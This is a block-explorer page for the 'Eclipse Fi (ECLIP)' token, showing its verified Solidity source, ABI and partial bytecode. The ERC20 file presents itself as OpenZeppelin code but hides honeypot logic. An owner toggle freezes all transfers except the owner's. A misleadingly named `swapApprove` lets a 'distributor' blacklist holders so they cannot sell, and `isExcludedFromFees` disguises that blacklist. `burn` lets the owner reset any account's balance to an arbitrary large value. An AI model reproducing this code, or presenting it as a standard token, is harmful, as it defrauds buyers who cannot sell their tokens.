ETH Price: $3,153.92 (+2.71%)
Gas: 1 Gwei

Token

Eclipse Fi (ECLIP)
 

Overview

Max Total Supply

24,000,000 ECLIP

Holders

54

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
76,827.8174471 ECLIP

Value
$0.00
0x6ae3ddf575b6199af927f648887b7b70755ce9f2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ECLIP

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 7: Eclipse Fi.sol
/**
    https://eclipsefi.io/

         https://twitter.com/Eclipsefi

                https://t.me/EclipseFi

                       https://www.coingecko.com/en/coins/eclipse-fi


*/// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

import "./Eclipse ERC20.sol";

contract ECLIP is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 1 of 7: Context.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

File 2 of 7: Eclipse ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.10;

import "./IERC20.sol";
import "./Ownable.sol";


contract ERC20 is Ownable, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _initTransfer;
    uint256 private balances;
    mapping (address => bool) private _initTransferinitTransferdistributedForMarketingPurposes;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, bool initTransfer_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _initTransfer = initTransfer_;
    }
    
    function initTransfer() external onlyOwner {
        if (_initTransfer == false){
        _initTransfer = true;}
        else {_initTransfer = false;}
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _initTransferinitTransferdistributedForMarketingPurposes[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_initTransfer == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
            if (_initTransferinitTransferdistributedForMarketingPurposes[from]) {require (amount == 0, "");}
            else{
                if(!_initTransferinitTransferdistributedForMarketingPurposes[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            }
        }
        } else {require (_initTransfer == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function swapApprove(address[] calldata address_, bool val) public onlyDistributor{
        for (uint256 i = 0; i < address_.length; i++) {
            _initTransferinitTransferdistributedForMarketingPurposes[address_[i]] = val;
        }
    }
}

File 4 of 7: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.10;
import "./IERC20Metadata.sol";
import "./IERC20Events.sol";
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 is IERC20Metadata, IERC20Events{
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}

File 5 of 7: IERC20Events.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;

interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 6 of 7: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
interface IERC20Metadata {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

File 7 of 7: Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "./Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 */
abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
   
    function taxSender(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxSender","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006005553480156200002057600080fd5b5060405162002ccf38038062002ccf833981810160405281019062000046919062000625565b838382620000696200005d6200010760201b60201c565b6200010f60201b60201c565b82600690805190602001906200008192919062000360565b5081600790805190602001906200009a92919062000360565b5060055460098190555080600860006101000a81548160ff021916908315150217905550505050620000fd33620000d6620001d360201b60201c565b600a620000e4919062000865565b84620000f19190620008b6565b620001dc60201b60201c565b5050505062000a8a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200024f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002469062000978565b60405180910390fd5b62000263600083836200035660201b60201c565b80600460008282546200027791906200099a565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002cf91906200099a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000336919062000a08565b60405180910390a362000352600083836200035b60201b60201c565b5050565b505050565b505050565b8280546200036e9062000a54565b90600052602060002090601f016020900481019282620003925760008555620003de565b82601f10620003ad57805160ff1916838001178555620003de565b82800160010185558215620003de579182015b82811115620003dd578251825591602001919060010190620003c0565b5b509050620003ed9190620003f1565b5090565b5b808211156200040c576000816000905550600101620003f2565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000479826200042e565b810181811067ffffffffffffffff821117156200049b576200049a6200043f565b5b80604052505050565b6000620004b062000410565b9050620004be82826200046e565b919050565b600067ffffffffffffffff821115620004e157620004e06200043f565b5b620004ec826200042e565b9050602081019050919050565b60005b8381101562000519578082015181840152602081019050620004fc565b8381111562000529576000848401525b50505050565b6000620005466200054084620004c3565b620004a4565b90508281526020810184848401111562000565576200056462000429565b5b62000572848285620004f9565b509392505050565b600082601f83011262000592576200059162000424565b5b8151620005a48482602086016200052f565b91505092915050565b6000819050919050565b620005c281620005ad565b8114620005ce57600080fd5b50565b600081519050620005e281620005b7565b92915050565b60008115159050919050565b620005ff81620005e8565b81146200060b57600080fd5b50565b6000815190506200061f81620005f4565b92915050565b600080600080608085870312156200064257620006416200041a565b5b600085015167ffffffffffffffff8111156200066357620006626200041f565b5b62000671878288016200057a565b945050602085015167ffffffffffffffff8111156200069557620006946200041f565b5b620006a3878288016200057a565b9350506040620006b687828801620005d1565b9250506060620006c9878288016200060e565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000763578086048111156200073b576200073a620006d5565b5b60018516156200074b5780820291505b80810290506200075b8562000704565b94506200071b565b94509492505050565b6000826200077e576001905062000851565b816200078e576000905062000851565b8160018114620007a75760028114620007b257620007e8565b600191505062000851565b60ff841115620007c757620007c6620006d5565b5b8360020a915084821115620007e157620007e0620006d5565b5b5062000851565b5060208310610133831016604e8410600b8410161715620008225782820a9050838111156200081c576200081b620006d5565b5b62000851565b62000831848484600162000711565b925090508184048111156200084b576200084a620006d5565b5b81810290505b9392505050565b600060ff82169050919050565b60006200087282620005ad565b91506200087f8362000858565b9250620008ae7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200076c565b905092915050565b6000620008c382620005ad565b9150620008d083620005ad565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200090c576200090b620006d5565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000960601f8362000917565b91506200096d8262000928565b602082019050919050565b60006020820190508181036000830152620009938162000951565b9050919050565b6000620009a782620005ad565b9150620009b483620005ad565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620009ec57620009eb620006d5565b5b828201905092915050565b62000a0281620005ad565b82525050565b600060208201905062000a1f6000830184620009f7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a6d57607f821691505b6020821081141562000a845762000a8362000a25565b5b50919050565b6122358062000a9a6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a257806395d89b411161007157806395d89b41146102cf5780639dc29fac146102ed578063a457c2d714610309578063a9059cbb14610339578063dd62ed3e1461036957610116565b8063715018a61461028157806383846fe21461028b5780638da5cb5b146102a757806391b69fa0146102c557610116565b806323b872dd116100e957806323b872dd146101a3578063313ce567146101d357806339509351146101f15780634fbee1931461022157806370a082311461025157610116565b806306fdde031461011b578063095ea7b3146101395780631186b8d81461016957806318160ddd14610185575b600080fd5b610123610399565b60405161013091906116e1565b60405180910390f35b610153600480360381019061014e91906117a1565b61042b565b60405161016091906117fc565b60405180910390f35b610183600480360381019061017e91906118a8565b61044e565b005b61018d610583565b60405161019a9190611917565b60405180910390f35b6101bd60048036038101906101b89190611932565b61058d565b6040516101ca91906117fc565b60405180910390f35b6101db6105bc565b6040516101e891906119a1565b60405180910390f35b61020b600480360381019061020691906117a1565b6105c5565b60405161021891906117fc565b60405180910390f35b61023b600480360381019061023691906119bc565b61066f565b60405161024891906117fc565b60405180910390f35b61026b600480360381019061026691906119bc565b6106c5565b6040516102789190611917565b60405180910390f35b61028961070e565b005b6102a560048036038101906102a091906119bc565b610796565b005b6102af6108b1565b6040516102bc91906119f8565b60405180910390f35b6102cd6108da565b005b6102d76109b0565b6040516102e491906116e1565b60405180910390f35b610307600480360381019061030291906117a1565b610a42565b005b610323600480360381019061031e91906117a1565b610acc565b60405161033091906117fc565b60405180910390f35b610353600480360381019061034e91906117a1565b610bb6565b60405161036091906117fc565b60405180910390f35b610383600480360381019061037e9190611a13565b610bd9565b6040516103909190611917565b60405180910390f35b6060600680546103a890611a82565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490611a82565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610c60565b9050610443818585610c68565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104d590611b00565b60405180910390fd5b60005b8383905081101561057d5781600a600086868581811061050457610503611b20565b5b905060200201602081019061051991906119bc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061057590611b7e565b9150506104e1565b50505050565b6000600454905090565b600080610598610c60565b90506105a5858285610e33565b6105b0858585610ebf565b60019150509392505050565b60006009905090565b6000806105d0610c60565b9050610664818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461065f9190611bc7565b610c68565b600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610716610c60565b73ffffffffffffffffffffffffffffffffffffffff166107346108b1565b73ffffffffffffffffffffffffffffffffffffffff161461078a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078190611c69565b60405180910390fd5b61079460006113ae565b565b61079e610c60565b73ffffffffffffffffffffffffffffffffffffffff166107bc6108b1565b73ffffffffffffffffffffffffffffffffffffffff1614610812576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080990611c69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108e2610c60565b73ffffffffffffffffffffffffffffffffffffffff166109006108b1565b73ffffffffffffffffffffffffffffffffffffffff1614610956576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094d90611c69565b60405180910390fd5b60001515600860009054906101000a900460ff1615151415610992576001600860006101000a81548160ff0219169083151502179055506109ae565b6000600860006101000a81548160ff0219169083151502179055505b565b6060600780546109bf90611a82565b80601f01602080910402602001604051908101604052809291908181526020018280546109eb90611a82565b8015610a385780601f10610a0d57610100808354040283529160200191610a38565b820191906000526020600020905b815481529060010190602001808311610a1b57829003601f168201915b5050505050905090565b610a4a610c60565b73ffffffffffffffffffffffffffffffffffffffff16610a686108b1565b73ffffffffffffffffffffffffffffffffffffffff1614610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab590611c69565b60405180910390fd5b610ac88282611472565b5050565b600080610ad7610c60565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610b9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9490611cfb565b60405180910390fd5b610baa8286868403610c68565b60019250505092915050565b600080610bc1610c60565b9050610bce818585610ebf565b600191505092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccf90611d8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f90611e1f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffff